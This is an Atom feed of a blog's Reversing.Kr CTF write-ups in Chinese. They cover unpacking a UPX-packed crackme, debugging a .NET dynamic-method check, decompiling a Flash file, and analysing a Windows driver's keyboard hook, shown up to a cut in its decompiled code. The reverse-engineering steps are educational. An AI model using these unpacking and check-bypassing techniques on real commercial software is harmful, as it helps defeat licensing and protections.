<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>l1b0&#39;s blog</title>
  
  <subtitle>old blog  https://www.cnblogs.com/l1b0</subtitle>
  <link href="/atom.xml" rel="self"/>
  
  <link href="https://l1b0.fun/"/>
  <updated>2019-12-05T08:27:31.047Z</updated>
  <id>https://l1b0.fun/</id>
  
  <author>
    <name>l1b0</name>
    
  </author>
  
  <generator uri="http://hexo.io/">Hexo</generator>
  
  <entry>
    <title>Reversing-Kr AutoHotKey1 Writeup</title>
    <link href="https://l1b0.fun/8d7a68b6/"/>
    <id>https://l1b0.fun/8d7a68b6/</id>
    <published>2019-12-05T07:49:43.000Z</published>
    <updated>2019-12-05T08:27:31.047Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><a href="https://github.com/L1B0/CTF/tree/master/Reversing-Kr/AutoHotKey1" target="_blank" rel="noopener">题目及脚本</a></p></blockquote><h2 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h2><p>首先看下README，提示最终flag由两部分<strong>DecryptKey</strong>和<strong>EXE’s Key</strong>的<strong>逆md5值</strong>组成。</p><blockquote><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>AuthKey = un_md5(DecryptKey) + “ “ + un_md5(EXE’s Key)</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>Ex:)<br> DecryptKey = 1dfb6b98aef3416e03d50fd2fb525600<br> EXE’s  Key = c944634550c698febdd9c868db908d9d<br> =&gt; AuthKey = visual studio</p><p>-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</p><p>By Pyutic</p></blockquote><p>用PEID看下程序，显示有UPX壳，可以通过<code>upx -d</code>或者<strong>ESP定律</strong>脱壳。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8mAEj.png" alt="Q8mAEj.png"></p><a id="more"></a><p>接下来用ida分析脱壳后的程序，打开后发现程序很大，无从下手。</p><p>运行一下脱壳后的程序提示<code>EXE corrupted</code>。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8nTmD.png" alt="Q8nTmD.png"></p><p>那就先运行脱壳之前的程序，有个输入框，一个OK和Cancel按钮，随便输入然后点击OK发现程序直接退出了。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8upnS.png" alt="Q8upnS.png"></p><p>这里提供一个对于这种有按钮，有文本框的逆向思路。</p><p>程序通过是通过调用<code>GetDlgItem</code>函数，以各个组件的id为索引获取相应的资源（文本或响应函数）。</p><p>我们可以用<code>Resource Hacker</code>查看脱壳后的程序的各个框的id，如下图。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8uUBD.png" alt="Q8uUBD.png"></p><p>可以看到文本框的id为<strong>201</strong>。</p><p>回到ida，在<code>Imports</code>表中搜索<code>GetDlgItem</code>，可以看到相应地址为<code>0x45A330</code>。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8KHJA.png" alt="Q8KHJA.png"></p><p>双击进去通过<code>x</code>查看交叉引用。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8MPWn.png" alt="Q8MPWn.png"></p><p>进入函数<code>DialogFunc</code>，可以看到在下图位置引用了id为201的资源。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8MlS1.png" alt="Q8MlS1.png"></p><p>那么就开始动态调试，注意这里由于脱壳后的程序运行有问题，故调试对象为源程序。</p><p>首先来到程序入口，</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8M2kQ.png" alt="Q8M2kQ.png"></p><p>F8（单步步过）一下，esp寄存器变红，在esp寄存器右键选择HW break[esp]，即hardware break esp，在esp地址处下硬件断点。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8Mqk4.png" alt="Q8Mqk4.png"></p><p>F9（执行到断点）一下，到达第一个红色箭头处，可以看到不远处就有一个大跳转。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8QuB8.png" alt="Q8QuB8.png"></p><p>点击<code>00471BD6</code>，F4（执行至选择处）一下，然后F8（单步步过），跳到<code>00442B4F</code>。</p><p>至此完成UPX的解压壳过程，以上为<strong>ESP定律方法</strong>脱壳。</p><p>这里为了保险起见，在api<code>GetDlgItem</code>处下断点，在上面的Import表中可以看到该api是在USER32的库中。</p><p>在olldbg中<code>Alt+E</code>查看执行模块，在相应位置右键选择<strong>查看名称</strong>。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8lYPH.png" alt="Q8lYPH.png"></p><p>可以找到<code>GetDlgItem</code>地址为<code>77754800</code>，双击后F2下断点。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8l0qf.png" alt="Q8l0qf.png"></p><p>然后F9运行程序，会看到程序停在<code>GetDlgItem</code>，在右下角的栈上可以看到相应的参数数值。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8l5ZT.png" alt="Q8l5ZT.png"></p><p>继续F9，直到弹出程序框，输入1234后点击OK。</p><p>可以看到程序正在获取id为201的资源，F8执行至retn，看看它会返回到哪。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q81kQI.png" alt="Q81kQI.png"></p><p>如下图，可以看到返回至<code>00425F39</code>。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q81tTU.png" alt="Q81tTU.png"></p><p>这里相应的ida的伪码就不放了，我也没看懂后续干了啥。</p><p>接着继续F8，在经过函数<code>sub_401D9F</code>后查看ecx的值发现有点东西。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q83V39.png" alt="Q83V39.png"></p><p>把这个md5值去<a href="https://www.cmd5.com/" target="_blank" rel="noopener">cmd5</a>查一下，发现是<code>pawn</code>。</p><p>但题目需要两个字符串，这个md5值感觉是<code>exe&#39;s key</code>，因为是对输入进行的校验，但我也没看到哪进行了<code>Decrypt</code>的操作。</p><p>把这个md5值输入到程序的输入框，结果如下图，点确定后就没了，没了，了。。。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q88OQs.png" alt="Q88OQs.png"></p><p>去网上看了看别人的题解，发现最开始那个脱壳程序报的<code>EXE corrupted</code>有点东西。</p><p>在ida的字符串中搜索可以看到这个字符串被两个函数引用了。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8Gj9e.png" alt="Q8Gj9e.png"></p><p>对两个地址下断点，执行程序后会发现程序停在了<code>sub_4481E0</code>。</p><p>看下对应的伪码，经过了<code>sub_4508C7</code>的校验。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8Jnun.png" alt="Q8Jnun.png"></p><p>于是F7（单步步入）跟进去，然后不断F8，可以看到寄存器出现了md5。</p><p><img src="https://s2.ax1x.com/2019/12/05/Q8YFq1.png" alt="Q8YFq1.png"></p><p>这个函数应该就是一个readme所说的解密函数。</p>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/Reversing-Kr/AutoHotKey1&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目及脚本&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;解题思路&quot;&gt;&lt;a href=&quot;#解题思路&quot; class=&quot;headerlink&quot; title=&quot;解题思路&quot;&gt;&lt;/a&gt;解题思路&lt;/h2&gt;&lt;p&gt;首先看下README，提示最终flag由两部分&lt;strong&gt;DecryptKey&lt;/strong&gt;和&lt;strong&gt;EXE’s Key&lt;/strong&gt;的&lt;strong&gt;逆md5值&lt;/strong&gt;组成。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-&lt;/p&gt;
&lt;p&gt;AuthKey = un_md5(DecryptKey) + “ “ + un_md5(EXE’s Key)&lt;/p&gt;
&lt;p&gt;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-&lt;/p&gt;
&lt;p&gt;Ex:)&lt;br&gt; DecryptKey = 1dfb6b98aef3416e03d50fd2fb525600&lt;br&gt; EXE’s  Key = c944634550c698febdd9c868db908d9d&lt;br&gt; =&amp;gt; AuthKey = visual studio&lt;/p&gt;
&lt;p&gt;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-&lt;/p&gt;
&lt;p&gt;By Pyutic&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;用PEID看下程序，显示有UPX壳，可以通过&lt;code&gt;upx -d&lt;/code&gt;或者&lt;strong&gt;ESP定律&lt;/strong&gt;脱壳。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.ax1x.com/2019/12/05/Q8mAEj.png&quot; alt=&quot;Q8mAEj.png&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Reversing-Kr" scheme="https://l1b0.fun/tags/Reversing-Kr/"/>
    
      <category term="Olldbg" scheme="https://l1b0.fun/tags/Olldbg/"/>
    
      <category term="Upx" scheme="https://l1b0.fun/tags/Upx/"/>
    
  </entry>
  
  <entry>
    <title>Reversing-Kr CSHARP Writeup</title>
    <link href="https://l1b0.fun/d66f4544/"/>
    <id>https://l1b0.fun/d66f4544/</id>
    <published>2019-12-04T14:12:43.000Z</published>
    <updated>2019-12-05T08:27:47.995Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><a href="https://github.com/L1B0/CTF/tree/master/Reversing-Kr/CSharp" target="_blank" rel="noopener">题目及脚本</a></p><p>2400分了:-)</p></blockquote><p><img src="https://s2.ax1x.com/2019/12/04/Q1ICKs.png" alt="Q1ICKs.png"></p><h2 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h2><p>题目是一个.net文件，运行一下。</p><p><img src="https://s2.ax1x.com/2019/12/04/Q1fPAS.png" alt="Q1fPAS.png"></p><a id="more"></a><p>遇到.net类型的题目我一般都是丢进ILSpy反编译一波，看伪码。</p><p>关键函数如下</p><figure class="highlight c#"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// CSharp.Form1</span></span><br><span class="line"><span class="function"><span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title">MetMetMet</span>(<span class="params"><span class="keyword">string</span> sss</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">byte</span>[] bytes = Encoding.ASCII.GetBytes(Convert.ToBase64String(Encoding.ASCII.GetBytes(sss))); <span class="comment">// base64加密</span></span><br><span class="line">    <span class="comment">// 动态调用函数MetMet</span></span><br><span class="line">AssemblyName assemblyName = <span class="keyword">new</span> AssemblyName(<span class="string">"DynamicAssembly"</span>);</span><br><span class="line">TypeBuilder typeBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.RunAndSave).DefineDynamicModule(assemblyName.Name, assemblyName.Name + <span class="string">".exe"</span>).DefineType(<span class="string">"RevKrT1"</span>, TypeAttributes.Public);</span><br><span class="line">MethodBuilder methodBuilder = typeBuilder.DefineMethod(<span class="string">"MetMet"</span>, MethodAttributes.Private | MethodAttributes.Static, CallingConventions.Standard, <span class="literal">null</span>, <span class="literal">null</span>);</span><br><span class="line">TypeBuilder typeBuilder2 = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.RunAndSave).DefineDynamicModule(assemblyName.Name, assemblyName.Name + <span class="string">".exe"</span>).DefineType(<span class="string">"RevKrT2"</span>, TypeAttributes.Public);</span><br><span class="line">typeBuilder2.DefineMethod(<span class="string">"MetM"</span>, MethodAttributes.Private | MethodAttributes.Static, CallingConventions.Standard, <span class="literal">null</span>, <span class="keyword">new</span> Type[]</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">typeof</span>(<span class="keyword">byte</span>[]),</span><br><span class="line"><span class="keyword">typeof</span>(<span class="keyword">byte</span>[])</span><br><span class="line">&#125;).CreateMethodBody(Form1.bb, Form1.bb.Length);</span><br><span class="line">Type type = typeBuilder2.CreateType();</span><br><span class="line">MethodInfo method = type.GetMethod(<span class="string">"MetM"</span>, BindingFlags.Static | BindingFlags.NonPublic);</span><br><span class="line"><span class="keyword">object</span> obj = Activator.CreateInstance(type);</span><br><span class="line"><span class="keyword">byte</span>[] array = <span class="keyword">new</span> <span class="keyword">byte</span>[] <span class="comment">// 校验值</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="number">1</span>,</span><br><span class="line"><span class="number">2</span></span><br><span class="line">&#125;;</span><br><span class="line">method.Invoke(obj, <span class="keyword">new</span> <span class="keyword">object</span>[] <span class="comment">// 关键，回调函数MetMet</span></span><br><span class="line">&#123;</span><br><span class="line">array, <span class="comment">// 校验值</span></span><br><span class="line">bytes <span class="comment">// 输入的base64编码</span></span><br><span class="line">&#125;);</span><br><span class="line"><span class="keyword">string</span> str;</span><br><span class="line"><span class="keyword">if</span> (array[<span class="number">0</span>] == <span class="number">1</span>) <span class="comment">// 校验正确与否</span></span><br><span class="line">&#123;</span><br><span class="line">str = <span class="string">"Wrong"</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">str = <span class="string">"Correct!!"</span>;</span><br><span class="line">&#125;</span><br><span class="line">ILGenerator iLGenerator = methodBuilder.GetILGenerator();</span><br><span class="line">iLGenerator.Emit(OpCodes.Ldstr, str);</span><br><span class="line">iLGenerator.EmitCall(OpCodes.Call, <span class="keyword">typeof</span>(MessageBox).GetMethod(<span class="string">"Show"</span>, <span class="keyword">new</span> Type[]</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">typeof</span>(<span class="keyword">string</span>)</span><br><span class="line">&#125;), <span class="literal">null</span>);</span><br><span class="line">iLGenerator.Emit(OpCodes.Pop);</span><br><span class="line">iLGenerator.Emit(OpCodes.Ret);</span><br><span class="line">Type type2 = typeBuilder.CreateType();</span><br><span class="line">MethodInfo method2 = type2.GetMethod(<span class="string">"MetMet"</span>, BindingFlags.Static | BindingFlags.NonPublic);</span><br><span class="line"><span class="keyword">object</span> obj2 = Activator.CreateInstance(type2);</span><br><span class="line">method2.Invoke(obj2, <span class="literal">null</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当想查看函数<code>MetMett</code>的伪码时发现报错。</p><p><img src="https://s2.ax1x.com/2019/12/04/Q1fHuq.png" alt="Q1fHuq.png"></p><p>这就很尴尬了，常用方法行不通。既然该函数是动态调用的那么就只能动态调试了。</p><p>网上查了下关于.net的动态调试工具，发现<a href="https://github.com/0xd4d/dnSpy/releases" target="_blank" rel="noopener">dnspy</a>不错。</p><p>在我的吾爱破解的xp虚拟机里发现也有这个工具，美滋滋。</p><p>那么接下来就开始动态调试。</p><h2 id="动态调试-net"><a href="#动态调试-net" class="headerlink" title="动态调试.net"></a>动态调试.net</h2><p>在<code>dnspy</code>工具中，常用命令如下。</p><blockquote><p>单步步入：F11</p><p>单步步过：F10</p><p>执行至断点：shift+F11</p><p>下断点：F9</p></blockquote><p>在关键函数<code>MetMetMet</code>下断点，运行，随便输入，然后check。</p><p>然后在下图<code>methon.invoke</code>处下断点，执行到此处时<strong>单步步入</strong>。</p><p><img src="https://s2.ax1x.com/2019/12/04/Q1ht2j.png" alt="Q1ht2j.png"></p><p>继续步入，</p><p><img src="https://s2.ax1x.com/2019/12/04/Q1hHRH.png" alt="Q1hHRH.png"></p><p>步入</p><p><img src="https://s2.ax1x.com/2019/12/04/Q1hLQA.png" alt="Q1hLQA.png"></p><p>然后单步步过，经过一些检查环节后，执行到下图，<strong>步入</strong>。</p><p><img src="https://s2.ax1x.com/2019/12/04/Q14KW4.png" alt="Q14KW4.png"></p><p>之后就也是步入步过，最后终于到达了函数<code>MetMett</code>，即校验环节。</p><p><img src="https://s2.ax1x.com/2019/12/04/Q14gk8.png" alt="Q14gk8.png"></p><p>将数据异或回去即可:-)</p><p>以上。</p>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/Reversing-Kr/CSharp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目及脚本&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;2400分了:-)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.ax1x.com/2019/12/04/Q1ICKs.png&quot; alt=&quot;Q1ICKs.png&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;解题思路&quot;&gt;&lt;a href=&quot;#解题思路&quot; class=&quot;headerlink&quot; title=&quot;解题思路&quot;&gt;&lt;/a&gt;解题思路&lt;/h2&gt;&lt;p&gt;题目是一个.net文件，运行一下。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.ax1x.com/2019/12/04/Q1fPAS.png&quot; alt=&quot;Q1fPAS.png&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Reversing-Kr" scheme="https://l1b0.fun/tags/Reversing-Kr/"/>
    
      <category term="Net" scheme="https://l1b0.fun/tags/Net/"/>
    
  </entry>
  
  <entry>
    <title>Reversing-Kr Flash-Encrypt Writeup</title>
    <link href="https://l1b0.fun/86b8c49b/"/>
    <id>https://l1b0.fun/86b8c49b/</id>
    <published>2019-12-03T07:17:52.000Z</published>
    <updated>2019-12-05T08:27:53.651Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><a href="https://github.com/L1B0/CTF/tree/master/Reversing-Kr/FlashEncrypt" target="_blank" rel="noopener">题目及脚本</a></p></blockquote><h2 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h2><p>题目是一个swf(shock wave flash)类型的文件，于是去网上找了个<a href="https://www.52pojie.cn/thread-584213-1-1.html" target="_blank" rel="noopener">反编译flash的程序JPEXS</a>。</p><p>不得不说，真的好用:-)</p><p>用<strong>JPEXS</strong>打开swf文件，在设置一栏勾选<strong>自动反混淆</strong>，不然看到的代码会怀疑人生。</p><p>可以看到有6个button，每个button都有相应的点击事件。</p><p><img src="https://s2.ax1x.com/2019/12/03/QMVdW4.png" alt="QMVdW4.png"></p><a id="more"></a><p><img src="https://s2.ax1x.com/2019/12/03/QMVIOI.png" alt="QMVIOI.png"></p><p><img src="https://s2.ax1x.com/2019/12/03/QMV70P.png" alt="QMV70P.png"></p><p><img src="https://s2.ax1x.com/2019/12/03/QMVqk8.png" alt="QMVqk8.png"></p><p><img src="https://s2.ax1x.com/2019/12/03/QMVHTf.png" alt="QMVHTf.png"></p><p><img src="https://s2.ax1x.com/2019/12/03/QMVTmt.png" alt="QMVTmt.png"></p><p>逻辑其实很简单，<strong>spw</strong>即文本框的输入，相等就跳转到另一个frame进行后续的操作。</p><p>在文件一栏<strong>另存为exe</strong>，一个一个输入即可得到最终的key。</p><p>结果如下</p><p><img src="https://s2.ax1x.com/2019/12/03/QMZltO.png" alt="QMZltO.png"></p>]]></content>
    
    <summary type="html">
    
      &lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/L1B0/CTF/tree/master/Reversing-Kr/FlashEncrypt&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;题目及脚本&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;解题思路&quot;&gt;&lt;a href=&quot;#解题思路&quot; class=&quot;headerlink&quot; title=&quot;解题思路&quot;&gt;&lt;/a&gt;解题思路&lt;/h2&gt;&lt;p&gt;题目是一个swf(shock wave flash)类型的文件，于是去网上找了个&lt;a href=&quot;https://www.52pojie.cn/thread-584213-1-1.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;反编译flash的程序JPEXS&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;不得不说，真的好用:-)&lt;/p&gt;
&lt;p&gt;用&lt;strong&gt;JPEXS&lt;/strong&gt;打开swf文件，在设置一栏勾选&lt;strong&gt;自动反混淆&lt;/strong&gt;，不然看到的代码会怀疑人生。&lt;/p&gt;
&lt;p&gt;可以看到有6个button，每个button都有相应的点击事件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://s2.ax1x.com/2019/12/03/QMVdW4.png&quot; alt=&quot;QMVdW4.png&quot;&gt;&lt;/p&gt;
    
    </summary>
    
    
      <category term="CTF" scheme="https://l1b0.fun/categories/CTF/"/>
    
    
      <category term="Reverse" scheme="https://l1b0.fun/tags/Reverse/"/>
    
      <category term="Reversing-Kr" scheme="https://l1b0.fun/tags/Reversing-Kr/"/>
    
      <category term="Flash" scheme="https://l1b0.fun/tags/Flash/"/>
    
  </entry>
  
  <entry>
    <title>Reversing-Kr WindowsKernel Writeup</title>
    <link href="https://l1b0.fun/bf4b8c81/"/>
    <id>https://l1b0.fun/bf4b8c81/</id>
    <published>2019-12-03T04:16:21.000Z</published>
    <updated>2019-12-05T07:48:35.836Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p><a href="https://github.com/L1B0/CTF/tree/master/Reversing-Kr/WindowKernel" target="_blank" rel="noopener">题目及脚本</a></p><p>做完这题到2k分了:-)</p></blockquote><p><img src="https://s2.ax1x.com/2019/12/03/QKcEHs.png" alt="QKcEHs.png"></p><h2 id="解题思路"><a href="#解题思路" class="headerlink" title="解题思路"></a>解题思路</h2><p>题目给了一个exe和一个sys驱动，均为32位。注意程序应放到<strong>x86系统</strong>运行，不然驱动无法加载成功。</p><p>先运行一下，当驱动加载成功后如下图。要进行输入需先点击<code>Enable</code>按钮。</p><p><img src="https://s2.ax1x.com/2019/12/03/QKcYU1.png" alt="QKcYU1.png"></p><p>然后进行输入，按键时会明显发现有一定的延迟，结合提示<code>keyboard</code>可以猜测驱动获取了键盘输入进行处理。</p><p><img src="https://s2.ax1x.com/2019/12/03/QKcLGV.png" alt="QKcLGV.png"></p><a id="more"></a><p>接下来用ida进行分析，首先看下<code>WindowKernel.exe</code>。</p><p>由于之前上病毒课有一些分析这种加载驱动的exe的经验，分析起来没之前那么难了。</p><p>sub_401310函数主要进行了启动驱动的操作，关键函数在sub_401110。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">HWND __<span class="function">thiscall <span class="title">sub_401110</span><span class="params">(HWND hDlg)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  HWND v1; <span class="comment">// edi</span></span><br><span class="line">  HWND result; <span class="comment">// eax</span></span><br><span class="line">  HWND v3; <span class="comment">// eax</span></span><br><span class="line">  HWND v4; <span class="comment">// eax</span></span><br><span class="line">  HWND v5; <span class="comment">// eax</span></span><br><span class="line">  WCHAR String; <span class="comment">// [esp+8h] [ebp-204h]</span></span><br><span class="line"></span><br><span class="line">  v1 = hDlg;</span><br><span class="line">  GetDlgItemTextW(hDlg, <span class="number">1003</span>, &amp;String, <span class="number">512</span>);</span><br><span class="line">  <span class="keyword">if</span> ( lstrcmpW(&amp;String, <span class="string">L"Enable"</span>) )           <span class="comment">// 不是enable</span></span><br><span class="line">  &#123;</span><br><span class="line">    result = (HWND)lstrcmpW(&amp;String, <span class="string">L"Check"</span>);</span><br><span class="line">    <span class="keyword">if</span> ( !result )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( sub_401280(v1, <span class="number">0x2000</span>u) == <span class="number">1</span> )       <span class="comment">// 校验</span></span><br><span class="line">        MessageBoxW(v1, <span class="string">L"Correct!"</span>, <span class="string">L"Reversing.Kr"</span>, <span class="number">0x40</span>u);</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">        MessageBoxW(v1, <span class="string">L"Wrong"</span>, <span class="string">L"Reversing.Kr"</span>, <span class="number">0x10</span>u);</span><br><span class="line">      SetDlgItemTextW(v1, <span class="number">1002</span>, &amp;word_4021F0);</span><br><span class="line">      v5 = GetDlgItem(v1, <span class="number">1002</span>);</span><br><span class="line">      EnableWindow(v5, <span class="number">0</span>);</span><br><span class="line">      result = (HWND)SetDlgItemTextW(v1, <span class="number">1003</span>, <span class="string">L"Enable"</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span> <span class="keyword">if</span> ( sub_401280(v1, <span class="number">0x1000</span>u) )           <span class="comment">// 开启虚拟盘符，发送控制码至驱动，开始记录</span></span><br><span class="line">  &#123;</span><br><span class="line">    v3 = GetDlgItem(v1, <span class="number">1002</span>);</span><br><span class="line">    EnableWindow(v3, <span class="number">1</span>);</span><br><span class="line">    SetDlgItemTextW(v1, <span class="number">1003</span>, <span class="string">L"Check"</span>);</span><br><span class="line">    SetDlgItemTextW(v1, <span class="number">1002</span>, &amp;word_4021F0);</span><br><span class="line">    v4 = GetDlgItem(v1, <span class="number">1002</span>);</span><br><span class="line">    result = SetFocus(v4);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    result = (HWND)MessageBoxW(v1, <span class="string">L"Device Error"</span>, <span class="string">L"Reversing.Kr"</span>, <span class="number">0x10</span>u);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br></pre></td></tr></table></figure><p>其中的关键在sub_401280，它主要调用了函数<code>DeviceIoControl</code>与驱动进行交互，如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">DeviceIoControl(v2, dwIoControlCode, <span class="number">0</span>, <span class="number">0</span>, &amp;OutBuffer, <span class="number">4u</span>, &amp;BytesReturned, <span class="number">0</span>)</span><br></pre></td></tr></table></figure><p>当控制码为<code>0x1000</code>时开始记录，为<code>0x2000</code>时进行校验。</p><p>那么就需要分析驱动<code>WinKer.sys</code>了。</p><p>hook键盘获取键盘记录的函数在sub_00113E8，主要通过api<code>HalGetInterruptVector</code>，获取中断向量。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> __<span class="function">stdcall <span class="title">hookKeyboard</span><span class="params">(struct _KDPC *Dpc, PVOID DeferredContext, PVOID SystemArgument1, PVOID SystemArgument2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v4; <span class="comment">// esi // Reference: https://ezbeat.tistory.com/301</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 